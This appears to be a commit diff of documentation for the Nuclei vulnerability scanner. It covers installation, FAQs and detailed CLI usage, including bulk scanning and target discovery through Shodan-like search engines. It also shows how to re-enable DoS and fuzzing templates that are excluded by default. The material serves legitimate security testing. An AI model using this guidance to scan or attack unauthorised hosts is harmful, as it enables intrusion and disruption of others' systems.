<Accordion title="How can I support/contribute to this project? 💙" icon="fire-flame-curved" iconType="solid">
To help keep project momentum, we request everyone to write and share new templates with the community in the [template project](https://github.com/projectdiscovery/nuclei-templates). Please help us maintain this public, ready to use, and up-to-date nuclei template repository.
If you found an interesting/unique security issue using nuclei and want to share the process walk-through in the form of a blog, we are happy to publish your guest post on the [ProjectDiscovery blog](https://blog.projectdiscovery.io).
</Accordion>
<Accordion title="I found results with nuclei. When should I report it?" icon="triangle-exclamation" iconType="solid">
**Wait a minute** -- after nuclei detected a security issue, it's always advised to have a second look before reporting it. Here's a tip to confirm/validate the issues.
<Accordion title="How do I validate nuclei results?" icon="fire-flame-curved" iconType="solid">
Once nuclei finds a result, and you have vulnerable **target** and **template**, rerun the template with **`-debug`** flag to inspect the output against the expected matcher defined in the template. In this way, you can confirm the identified vulnerability.
</Accordion>
</Accordion>
<Accordion title="How much traffic does nuclei generate?" icon="triangle-exclamation" iconType="solid">
By default nuclei will make several thousand requests (both HTTP protocol and other services) against a single target when running **all nuclei-templates**. This stems from over 3500 nuclei templates in the [[template releases](https://github.com/projectdiscovery/nuclei-templates/releases/), with more added daily.
<Note>As default, few templates listed [here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) are excluded from default scans.</Note>
</Accordion>
<Accordion title="Is it safe to run nuclei?" icon="triangle-exclamation" iconType="solid">
We consider two factors to say **"safe"** in context of nuclei -
1. The **traffic** nuclei makes against the target website.
2. The **impact** templates have on the target website.
<Check>
**HTTP Traffic**
Nuclei usually makes fewer HTTP requests than the number of templates selected for a scan due to its intelligent request reduction. While some templates contain multiple requests, this rule generally holds true across most scan configurations.
</Check>
<Check>
**Safe Templates**
The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.
</Check>
</Accordion>
<Accordion title="What is nuclei's license?" icon="circle-info" iconType="solid">
Nuclei is an open-source project distributed under the [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md).
</Accordion>
<Accordion title="I have more questions! 🙋" icon="circle-info" iconType="solid">
Please join our [Discord server](https://discord.gg/projectdiscovery), or contact us via [Twitter](http://twitter.com/pdnuclei).
</Accordion>
<Accordion title="Missing dependencies in headless mode on Linux" icon="triangle-exclamation" iconType="solid">
Headless mode on machines based on Linux (OS or containers, eg. Docker) might face runtime errors due to missing dependencies related to specific OS-shared libraries used by chrome binary.
Usually, these errors can be fixed by pre-installing the browser on the specific distribution. Here is a list of the steps needed for the most common distributions.
Ubuntu
With snap:
```sh
sudo snap install chromium
```
Without snap:
```sh
sudo apt update
sudo snap refresh
sudo apt install zip curl wget git
sudo snap install golang --classic
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
sudo apt update
sudo apt install google-chrome-stable
```
In case you are unable to install the browser, or want to install only the minimum required dependencies, run the following command:
```
sudo apt-get install libnss3 libgconf-2-4
```
If you encounter an error similar to "libnss3.so: cannot open shared object file: No such file or directory," try running the following command to install the dev version:
```
sudo apt-get install libnss3-dev
```
Error type examples:
```
Error: Expected nil, but got: &errors.errorString{s:"[launcher] Failed to launch the browser, the doc might help https://go-rod.github.io/#/compatibility?id=os: /root/.cache/rod/browser/chromium-1018003/chrome-linux/chrome: error while loading shared libraries: libnss3.so: cannot open shared object file: No such file or directory\n"}
```
```
could not create browser
```
```
Command '/usr/bin/chromium-browser' requires the chromium snap to be installed.
Please install it with:
snap install chromium
```
</Accordion>
</AccordionGroup>

70
docs/faq/templates.mdx Normal file
View File

@ -0,0 +1,70 @@
---
title: "Templates"
---
<AccordionGroup>
<Accordion title="What are nuclei templates?" icon="circle-info" iconType="solid">
Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) are the core of the nuclei project. The templates contain the actual logic that is executed in order to detect various vulnerabilities. The project consists of **several thousand** ready-to-use **[community-contributed](https://github.com/projectdiscovery/nuclei-templates/graphs/contributors)** vulnerability templates.
</Accordion>
<Accordion title="How can I write nuclei templates?" icon="circle-info" iconType="solid">
We maintain a [template guide](/template-guide/introduction) for writing new and custom nuclei templates. We also have [example templates](/template-example/http/base-http) for various modules nuclei supports.
</Accordion>
<Accordion title="Is writing nuclei templates useful?" icon="fire-flame-curved" iconType="solid">
Performing security assessment of an application is time-consuming. It's always better and time-saving to automate steps whenever possible. Once you've found a security vulnerability, you can prepare a nuclei template by defining the required HTTP request to reproduce the issue, and test the same vulnerability across multiple hosts with ease. It's worth mentioning ==you write the template once and use it forever==, as you don't need to manually test that specific vulnerability any longer.
Here are few examples from the community making use of templates to automate the security findings.
<Accordion title="Reference" icon="pencil">
- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/
</Accordion>
</Accordion>
<Accordion title="How do I run nuclei templates?" icon="circle-info" iconType="solid">
Nuclei templates can be executed using a template name or with tags, using `-templates` (`-t`) and `-tags` flag, respectively.
```
nuclei -tags cve -list target_urls.txt
```
</Accordion>
<Accordion title="I want to contribute nuclei templates! 😁" icon="circle-info" iconType="solid">
You are always welcome to share your nuclei templates with the community. You can either open a [GitHub issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=nuclei-template&template=submit-template.md&title=%5Bnuclei-template%5D+template-name) with the template details or open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with your nuclei templates. If you don't have a GitHub account, you can also make use of the [discord server](https://discord.gg/projectdiscovery) to share the template with us.
</Accordion>
<Accordion title="I'm getting false-positive results!" icon="triangle-exclamation" iconType="solid">
The nuclei template project is a **community-contributed project**. The ProjectDiscovery team manually reviews templates before merging them into the project. Still, there is a possibility that some templates with weak matchers will slip through the verification. This could produce false-positive results. **Templates are only as good as their matchers.**
If you identified templates producing false positive/negative results, here are few steps that you can follow to fix them quickly.
<Accordion title="I found a template producing false positive or negative results, but I'm not sure if this is accurate." icon="circle-info" iconType="solid">
Direct message us on [Twitter](https://twitter.com/pdnuclei) or [Discord](https://discord.gg/projectdiscovery) to confirm the validity of the template.
</Accordion>
<Accordion title="I found a template producing false positive or negative result and I don't know how to fix it." icon="circle-info" iconType="solid">
Please open a GitHub [issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=false-positive&template=false-positive.md&title=%5Bfalse-positive%5D+template-name+) with details, and we will work to address the problem and update the template.
</Accordion>
<Accordion title="I found a template producing a false positive or negative result and I know how to fix it." icon="circle-info" iconType="solid">
Please open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with fix.
</Accordion>
</Accordion>
<Accordion title="I'm not able to run all templates!" icon="triangle-exclamation" iconType="solid">
The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.
</Accordion>
<Accordion title="Templates exist on GitHub but are not running with nuclei?" icon="triangle-exclamation" iconType="solid">
When you download or update nuclei templates using the nuclei binary, it downloads all the templates from the latest **release**. All templates added after the release exist in the [master branch](https://github.com/projectdiscovery/nuclei-templates) and are added to nuclei when a new template release is created.
</Accordion>
</AccordionGroup>

BIN
docs/favicon.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

View File

@ -0,0 +1,20 @@
---
title: 'Features'
---
| Feature | Description |
| ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [Extensive Template Library](#) | Nuclei offers a vast collection of community-powered templates for targeted scans of various vulnerabilities and attack vectors. |
| [Versatile Target Specification](#) | Support for various target specification options, such as URLs, IP ranges, ASN range, and file input, allowing flexibility in defining the scanning scope. |
| [Bulk Scanning](#) | Perform bulk scanning by specifying multiple targets at once, enabling efficient scanning of a large number of assets or websites. |
| [Flexible Customization](#) | Customize scanning templates to fit specific needs, allowing tailored scanning and focusing on relevant security checks. |
| [Parallel Scanning](#) | Supports parallel scanning, reducing scanning time and improving efficiency, especially for large-scale targets. |
| [Comprehensive Reporting `cloud`](#) | Generates detailed reports with actionable insights, including vulnerability details, severity levels, affected endpoints, and suggested remediation steps. |
| [Integration with CI/CD Pipelines](#) | Seamlessly integrate Nuclei into CI/CD pipelines for automated security testing as part of the development and deployment process. |
| [CI/CD Integration `cloud`](#) | Actively maintained and developed by the ProjectDiscovery team, introducing new features, bug fixes, and enhancements to provide an up-to-date scanning framework. |
| [Ticketing integration `cloud`](#) | Two-way ticketing integration with Jira, Splunk, and many others to easily remediate and retest vulnerabilities. |
| [Customizable Output Format](#) | Configure the output format of Nuclei's scan results to suit your needs, including options for JSON, YAML, and more. |
| [Dynamic Variables](#) | Utilize dynamic variables in templates to perform parameterized scanning, enabling versatile and flexible scanning configurations. |
| [Inclusion and Exclusion Filters](#) | Apply inclusion and exclusion filters to specify targets, reducing scanning scope and focusing on specific areas of interest. |
| [Authentication Support](#) | Nuclei supports various authentication mechanisms, including HTTP basic authentication, JWT token authentication, and more. |
| [Embedding custom code in templates `alpha`](#) | Execute custom code within Nuclei templates to incorporate user-defined logic, perform advanced scanning actions, and more. |

View File

@ -0,0 +1,67 @@
---
title: 'Install'
---
<Tabs>
<Tab title="Go">
```bash
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
```
<Note>Nuclei require latest **GO** version to install successfully.</Note>
</Tab>
<Tab title="Brew">
```bash
brew install nuclei
```
<Note>Supported in **macOS** (or Linux)</Note>
</Tab>
<Tab title="Docker">
```bash
docker pull projectdiscovery/nuclei:latest
```
</Tab>
<Tab title="Github">
```bash
git clone https://github.com/projectdiscovery/nuclei.git; \
cd nuclei/v2/cmd/nuclei; \
go build; \
mv nuclei /usr/local/bin/; \
nuclei -version;
```
<Note> Nuclei require the latest **GO** version to install successfully.</Note>
</Tab>
<Tab title="Binary">
```bash
https://github.com/projectdiscovery/nuclei/releases
```
<Tip>
- Download the latest binary for your OS.
- Unzip the ready to run binary.
</Tip>
</Tab>
<Tab title="Helm">
```bash
git clone https://github.com/projectdiscovery/nuclei.git
cd nuclei/helm
helm upgrade --install nuclei . -f values.yaml
```
<Tip>
This Helm chart creates two primary resources (intended to be configured via `values.yaml`):
- A Kubernetes CronJob to run Nuclei on a defined schedule
- An [Interactsh](https://github.com/projectdiscovery/interactsh) service for Nuclei to use
</Tip>
</Tab>
</Tabs>

View File

@ -0,0 +1,47 @@
---
title: 'Overview'
---
## What is **Nuclei?**
Nuclei is a fast scanner used to scan across the modern applications, infrastructure, cloud environments, and networks to help you find and remediate vulnerabilities.
Under the hood, it operates on the concept of templates, which are essentially simple YAML file that describe how to detect, prioritize and remediate specific security vulnerabilities.
Hundreds of security researchers and engineers from around the globe contribute to the template ecosystem, which is available and updated regularly within the Nuclei tool. Over 5000 templates have been contributed to date. These templates include real-world exploits and latest attack vectors, including the Log4j vulnerability, GitLab RCE, and many others, to match adaptability in an ever-evolving threat landscape.
Each template represents a potential attack vector and includes a detailed description of the vulnerability, its severity, priority score, and sometimes even trending exploits. The template-driven approach not only adds a high degree of flexibility but also ensures that the vulnerabilities detected by Nuclei are not just theoretical risks but are indicative of real-world exploitability.
Once configured, Nuclei can provide detailed information on each vulnerability, including:
<CardGroup>
<Card title="Severity" icon="gauge-high" iconType="duotone"></Card>
<Card title="Impact" icon="explosion" iconType="duotone"></Card>
<Card title="Description" icon="text-size" iconType="duotone"></Card>
<Card title="Remediation" icon="screwdriver-wrench" iconType="duotone"></Card>
</CardGroup>
## Where to use Nuclei?
| Use Case | Description |
| -------------------------------- | ----------- |
| Web Application Security | Identifies common web vulnerabilities with community-powered templates. |
| Infrastructure Security | Audits server configurations, open ports, and insecure services for security issues. |
| API Security Testing `alpha` | Tests APIs against known vulnerabilities and misconfigurations. |
| (CI/CD) Security | Integrates into CI/CD pipelines to minimize vulnerability resurface into production. |
| Third-party Vendor Assessment | Evaluates the security of third-party vendors by scanning their digital assets. |
| Cloud Security `alpha` | Scans cloud environments for misconfigurations and vulnerabilities. |
| Mobile Application Security | Scans mobile applications for security issues, including API tests and configuration checks. |
| Network Device Security `alpha` | Identifies vulnerabilities in network devices like routers, switches, and firewalls. |
| Web Server Assessment | Identifies common vulnerabilities and misconfigurations in web servers. |
| Content Management System (CMS) Assessment | Identifies vulnerabilities specific to CMS platforms like WordPress, Joomla, or Drupal. |
| Database Security Assessment | Scans databases for known vulnerabilities, default configurations, and access control issues. |
People use Nuclei in a variety of ways:
- **Security Engineers/Analysts**: Conduct security assessments, proactively identify vulnerabilities, convert custom vectors and analyze latest attack vectors.
- **Red Teams**: Leverage Nuclei as part of their offensive security operations to simulate real-world attack scenarios, identify weaknesses, and provide actionable recommendations for enhancing overall security.
- **DevOps Teams**: Integrate Nuclei into their CI/CD pipelines to ensure continuous security and regression of custom vulnerabilities.
- **Bug Bounty Hunters**: Leverage Nuclei to find vulnerabilities across their programs listed on platforms like HackerOne, Bugcrowd, Intigriti etc.
- **Penetration Testers**: Utilize Nuclei to automate their assessment methodologies into templates for their clients' systems.

View File

@ -0,0 +1,861 @@
---
title: 'Running Nuclei'
---
<iframe src="https://www.youtube.com/embed/b5qMyQvL1ZA" width="640" height="360"></iframe>
## Running **Nuclei**
Nuclei templates can be primarily executed in two ways,
1. **Templates** (`-t/templates`)
As default, all the templates (except nuclei-ignore list) gets executed from default template installation path.
```sh
nuclei -u https://example.com
```
Custom template directory or multiple template directory can be executed as follows,
```sh
nuclei -u https://example.com -t cves/ -t exposures/
```
Custom template Github repos are downloaded under `github` directory. Custom repo templates can be passed as follows
```sh
nuclei -u https://example.com -t github/private-repo
```
Similarly, Templates can be executed against list of URLs.
```sh
nuclei -list http_urls.txt
```
2. **Workflows** (`-w/workflows`)
```sh
nuclei -u https://example.com -w workflows/
```
Similarly, Workflows can be executed against list of URLs.
```sh
nuclei -list http_urls.txt -w workflows/wordpress-workflow.yaml
```
### Nuclei **Filters**
Nuclei engine supports three basic filters to customize template execution.
1. Tags (`-tags`)
Filter based on tags field available in the template.
2. Severity (`-severity`)
Filter based on severity field available in the template.
3. Author (`-author`)
Filter based on author field available in the template.
As default, Filters are applied on installed path of templates and can be customized with manual template path input.
For example, below command will run all the templates installed at `~/nuclei-templates/` directory and has `cve` tags in it.
```sh
nuclei -u https://example.com -tags cve
```
And this example will run all the templates available under `~/nuclei-templates/exposures/` directory and has `config` tag in it.
```sh
nuclei -u https://example.com -tags config -t exposures/
```
Multiple filters works together with AND condition, below example runs all template with `cve` tags AND has `critical` OR `high` severity AND `geeknik` as author of template.
```sh
nuclei -u https://example.com -tags cve -severity critical,high -author geeknik
```
Multiple filters can also be combined using the template condition flag (`-tc`) that allows complex expressions like the following ones:
```sh
nuclei -tc "contains(id,'xss') || contains(tags,'xss')"
nuclei -tc "contains(tags,'cve') && contains(tags,'ssrf')"
nuclei -tc "contains(name, 'Local File Inclusion')"
```
The supported fields are:
- `id` string
- `name` string
- `description` string
- `tags` slice of strings
- `authors` slice of strings
- `severity` string
- `protocol` string
- `http_method` slice of strings
- `body` string (containing all request bodies if any)
- `matcher_type` slice of string
- `extractor_type` slice of string
- `description` string
Also, every key-value pair from the template metadata section is accessible. All fields can be combined with logical operators (`||` and `&&`) and used with DSL helper functions.
Similarly, all filters are supported in workflows as well.
```sh
nuclei -w workflows/wordpress-workflow.yaml -severity critical,high -list http_urls.txt
```
<Note>
**Workflows**
In Workflows, Nuclei filters are applied on templates or sub-templates running via workflows, not on the workflows itself.
</Note>
### Public Templates
Nuclei has built-in support for automatic template download/update from [**nuclei templates**](https://github.com/projectdiscovery/nuclei-templates) project which provides [community-contributed](https://github.com/projectdiscovery/nuclei-templates#-community) list of ready-to-use templates that is constantly updated.
Nuclei checks for new community template releases upon each execution and automatically downloads the latest version when available. optionally, this feature can be disabled using the `-duc` cli flag or the configuration file.
### Custom Templates
Users can create custom templates on a personal public / private GitHub / AWS Bucket that they wish to run / update while using nuclei from any environment without manually downloading the GitHub repository everywhere.
To use this feature, users need to set the following environment variables:
<AccordionGroup>
<Accordion title="For GitHub Project" icon="pencil">
```bash
export GITHUB_TOKEN=gh_XXX
export GITHUB_TEMPLATE_REPO=my_nuclei_template
```
</Accordion>
<Accordion title="For GitLab Project" icon="pencil">
```bash
export GITLAB_SERVER_URL=https://gitlab.com
# The GitLab token must have the read_api and read_repository scope
export GITLAB_TOKEN=XXXXXXXXXX
# Comma separated list of repository IDs (not names)
export GITLAB_REPOSITORY_IDS=12345,67890
```
</Accordion>
<Accordion title="For AWS Bucket" icon="pencil">
```bash
export AWS_ACCESS_KEY=AKIAXXXXXXXX export AWS_SECRET_KEY=XXXXXX export
AWS_REGION=us-xxx-1 export AWS_TEMPLATE_BUCKET=aws_bucket_name
```
</Accordion>
<Accordion title="For Azure Blob Storage" icon="pencil">
```bash
export AZURE_TENANT_ID=00000000-0000-0000-0000-000000000000 export
AZURE_CLIENT_ID=00000000-0000-0000-0000-000000000000 export
AZURE_CLIENT_SECRET=00000000-0000-0000-0000-000000000000 export
AZURE_SERVICE_URL=https://XXXXXXXXXX.blob.core.windows.net/ export
AZURE_CONTAINER_NAME=templates
```
</Accordion>
</AccordionGroup>
Once the environment variables are set, following command to download the custom templates:
```bash
nuclei -update-templates
```
This command will clone the repository containing the custom templates to the default nuclei templates directory (`$HOME/nuclei-templates/github/`).
The directory structure of the custom templates looks as follows:
```bash
tree $HOME/nuclei-templates/
nuclei-templates/
└── github/$GH_REPO_NAME # Custom templates downloaded from public / private GitHub project
└── gitlab/$GL_REPO_NAME # Custom templates downloaded from public / private GitLab project
└── s3/$BUCKET_NAME # Custom templates downloaded from public / private AWS Bucket
└── azure/$CONTAINER_NAME # Custom templates downloaded from public / private Azure Blob Storage
```
Users can then use the custom templates with the `-t` flag as follows:
```
nuclei -t github/my_custom_template -u https://example.com
```
The nuclei engine can be updated to latest version by using the `-update` flag.
<Tip>
Writing your own unique templates will always keep you one step ahead of
others.
</Tip>
### Flags
```
nuclei -h
```
This will display help for the tool. Here are all the switches it supports.
```bash
Nuclei is a fast, template based vulnerability scanner focusing
on extensive configurability, massive extensibility and ease of use.
Usage:
nuclei [flags]
Flags:
TARGET:
-u, -target string[] target URLs/hosts to scan
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
-resume string resume scan using resume.cfg (clustering will be disabled)
-sa, -scan-all-ips scan all the IP's associated with dns record
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
TEMPLATES:
-nt, -new-templates run only new templates added in latest nuclei-templates release
-ntv, -new-templates-version string[] run new templates added in specific version
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
-t, -templates string[] list of template or template directory to run (comma-separated, file)
-tu, -template-url string[] list of template urls to run (comma-separated, file)
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
-wu, -workflow-url string[] list of workflow urls to run (comma-separated, file)
-validate validate the passed templates to nuclei
-nss, -no-strict-syntax disable strict syntax check on templates
-td, -template-display displays the templates content
-tl list all available templates
FILTERING:
-a, -author string[] templates to run based on authors (comma-separated, file)
-tags string[] templates to run based on tags (comma-separated, file)
-etags, -exclude-tags string[] templates to exclude based on tags (comma-separated, file)
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
-id, -template-id string[] templates to run based on template ids (comma-separated, file)
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
-it, -include-templates string[] templates to be executed even if they are excluded either by default or configuration
-et, -exclude-templates string[] template or template directory to exclude (comma-separated, file)
-em, -exclude-matchers string[] template matchers to exclude in result
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, network, workflow, ssl, websocket, whois
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, network, workflow, ssl, websocket, whois
-tc, -template-condition string[] templates to run based on expression condition
OUTPUT:
-o, -output string output file to write found issues/vulnerabilities
-sresp, -store-resp store all request/response passed through nuclei to output directory
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
-silent display findings only
-nc, -no-color disable output content coloring (ANSI escape codes)
-json write output in JSONL(ines) format
-irr, -include-rr include request/response pairs in the JSONL output (for findings only)
-nm, -no-meta disable printing result metadata in cli output
-ts, -timestamp enables printing timestamp in cli output
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
-ms, -matcher-status display match failure status
-me, -markdown-export string directory to export results in markdown format
-se, -sarif-export string file to export results in SARIF format
CONFIGURATIONS:
-config string path to the nuclei configuration file
-fr, -follow-redirects enable following redirects for http templates
-fhr, -follow-host-redirects follow redirects on the same host
-mr, -max-redirects int max number of redirects to follow for http templates (default 10)
-dr, -disable-redirects disable redirects for http templates
-rc, -report-config string nuclei reporting module configuration file
-H, -header string[] custom header/cookie to include in all http request in header:value format (cli, file)
-V, -var value custom vars in key=value format
-r, -resolvers string file containing resolver list for nuclei
-sr, -system-resolvers use system DNS resolving as error fallback
-dc, -disable-clustering disable clustering of requests
-passive enable passive HTTP response processing mode
-fh2, -force-http2 force http2 connection on requests
-ev, -env-vars enable environment variables to be used in template
-cc, -client-cert string client certificate file (PEM-encoded) used for authenticating against scanned hosts
-ck, -client-key string client key file (PEM-encoded) used for authenticating against scanned hosts
-ca, -client-ca string client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
-sml, -show-match-line show match lines for file templates, works with extractors only
-ztls use ztls library with autofallback to standard one for tls13
-sni string tls sni hostname to use (default: input domain name)
-sandbox sandbox nuclei for safe templates execution
-i, -interface string network interface to use for network scan
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
-sip, -source-ip string source ip address to use for network scan
-config-directory string override the default config path ($home/.config)
-rsr, -response-size-read int max response size to read in bytes (default 10485760)
-rss, -response-size-save int max response size to read in bytes (default 1048576)
INTERACTSH:
-iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
-itoken, -interactsh-token string authentication token for self-hosted interactsh server
-interactions-cache-size int number of requests to keep in the interactions cache (default 5000)
-interactions-eviction int number of seconds to wait before evicting requests from cache (default 60)
-interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5)
-interactions-cooldown-period int extra time for interaction polling before exiting (default 5)
-ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates
UNCOVER:
-uc, -uncover enable uncover engine
-uq, -uncover-query string[] uncover search query
-ue, -uncover-engine string[] uncover search engine (shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,criminalip) (default shodan)
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
-ul, -uncover-limit int uncover results to return (default 100)
-ucd, -uncover-delay int delay between uncover query requests in seconds (0 to disable) (default 1)
RATE-LIMIT:
-rl, -rate-limit int maximum number of requests to send per second (default 150)
-rlm, -rate-limit-minute int maximum number of requests to send per minute
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
-hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10)
-headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10)
OPTIMIZATIONS:
-timeout int time to wait in seconds before timeout (default 10)
-retries int number of times to retry a failed request (default 1)
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
-nmhe, -no-mhe disable skipping host from scan based on errors
-project use a project folder to avoid sending same request multiple times
-project-path string set a specific project path
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
-stream stream mode - start elaborating without sorting the input
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default 0)
-irt, -input-read-timeout duration timeout on input read (default 3m0s)
-nh, -no-httpx disable httpx probing for non-url input
-no-stdin disable stdin processing
HEADLESS:
-headless enable templates that require headless browser support (root user on Linux will disable sandbox)
-page-timeout int seconds to wait for each page in headless mode (default 20)
-sb, -show-browser show the browser on the screen when running templates with headless mode
-sc, -system-chrome use local installed Chrome browser instead of nuclei installed
-lha, -list-headless-action list available headless actions
DEBUG:
-debug show all requests and responses
-dreq, -debug-req show all sent requests
-dresp, -debug-resp show all received responses
-p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input)
-pi, -proxy-internal proxy all internal requests
-ldf, -list-dsl-function list all supported DSL function signatures
-tlog, -trace-log string file to write sent requests trace log
-elog, -error-log string file to write sent requests error log
-version show nuclei version
-hm, -hang-monitor enable nuclei hang monitoring
-v, -verbose show verbose output
-profile-mem string optional nuclei memory profile dump file
-vv display templates loaded for scan
-svd, -show-var-dump show variables dump for debugging
-ep, -enable-pprof enable pprof debugging server
-tv, -templates-version shows the version of the installed nuclei-templates
-hc, -health-check run diagnostic check up
UPDATE:
-un, -update update nuclei engine to the latest released version
-ut, -update-templates update nuclei-templates to latest released version
-ud, -update-template-dir string custom directory to install / update nuclei-templates
-duc, -disable-update-check disable automatic nuclei/templates update check
STATISTICS:
-stats display statistics about the running scan
-sj, -stats-json write statistics data to an output file in JSONL(ines) format
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
-m, -metrics expose nuclei metrics on a port
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
```
### Rate **Limits**
Nuclei have multiple rate limit controls for multiple factors, including a number of templates to execute in parallel, a number of hosts to be scanned in parallel for each template, and the global number of request / per second you wanted to make/limit using nuclei, here is an example of each flag with description.
| Flag | Description |
| ---------- | -------------------------------------------------------------------- |
| rate-limit | Control the total number of request to send per seconds |
| bulk-size | Control the number of hosts to process in parallel for each template |
| c | Control the number of templates to process in parallel |
Feel free to play with these flags to tune your nuclei scan speed and accuracy.
<Tip>
`rate-limit` flag takes precedence over the other two flags, the number of
requests/seconds can't go beyond the value defined for `rate-limit` flag
regardless the value of `c` and `bulk-size` flag.
</Tip>
### Traffic **Tagging**
Many BugBounty platform/programs requires you to identify the HTTP traffic you make, this can be achieved by setting custom header using config file at `$HOME/.config/nuclei/config.yaml` or CLI flag `-H / header`
<Note>
Setting custom header using config file
```yaml
# Headers to include with each request.
header:
- 'X-BugBounty-Hacker: h1/geekboy'
- 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei'
```
</Note>
<Note>
Setting custom header using CLI flag
```yaml
nuclei -header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei' -list urls.txt -tags cves
```
</Note>
### Template **Exclusion**
Nuclei supports a variety of methods for excluding / blocking templates from execution. By default, **nuclei** excludes the tags/templates listed below from execution to avoid unexpected fuzz based scans and some that are not supposed to run for mass scan, and these can be easily overwritten with nuclei configuration file / flags.
- Default [Template ignore](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) list.
<Warning>
**nuclei-ignore** file is not supposed to be updated / edited / removed by
user, to overwrite default ignore list, utilize [nuclei
configuration](/getting-started/features#nuclei-config) file.{' '}
</Warning>
Nuclei engine supports two ways to manually exclude templates from scan,
1. Exclude Templates (`-exclude-templates/exclude`)
**exclude-templates** flag is used to exclude single or multiple templates and directory, multiple `-exclude-templates` flag can be used to provide multiple values.
2. Exclude Tags (`-exclude-tags/etags`)
**exclude-tags** flag is used to exclude templates based in defined tags, single or multiple can be used to exclude templates.
<Note>
Example of excluding single template
```
nuclei -list urls.txt -t cves/ -exclude-templates cves/2020/CVE-2020-XXXX.yaml
```
</Note>
<Note>
Example of multiple template exclusion
```
nuclei -list urls.txt -exclude-templates exposed-panels/ -exclude-templates technologies/
```
</Note>
<Note>
Example of excluding templates with single tag
```
nuclei -l urls.txt -t cves/ -etags xss
```
</Note>
<Note>
Example of excluding templates with multiple tags
```
nuclei -l urls.txt -t cves/ -etags sqli,rce
```
</Note>
To easily overwrite [nuclei-ignore](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore), Nuclei engine supports **include-tags** / **include-templates** flag.
<Note>
Example of running blocked templates
```
nuclei -l urls.txt -include-tags iot,misc,fuzz
```
</Note>
### Scan on internet database
Nuclei supports integration with [uncover module](https://github.com/projectdiscovery/uncover) that supports services like Shodan, Censys, Hunter, Zoomeye, many more to execute Nuclei on these databases.
Here are uncover options to use -
```console
nuclei -h uncover
UNCOVER:
-uc, -uncover enable uncover engine
-uq, -uncover-query string[] uncover search query
-ue, -uncover-engine string[] uncover search engine (shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,criminalip) (default shodan)
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
-ul, -uncover-limit int uncover results to return (default 100)
-ucd, -uncover-delay int delay between uncover query requests in seconds (0 to disable) (default 1)
```
You need to set the API key of the engine you are using as an environment variable in your shell.
```
export SHODAN_API_KEY=xxx
export CENSYS_API_ID=xxx
export CENSYS_API_SECRET=xxx
export FOFA_EMAIL=xxx
export FOFA_KEY=xxx
export QUAKE_TOKEN=xxx
export HUNTER_API_KEY=xxx
export ZOOMEYE_API_KEY=xxx
```
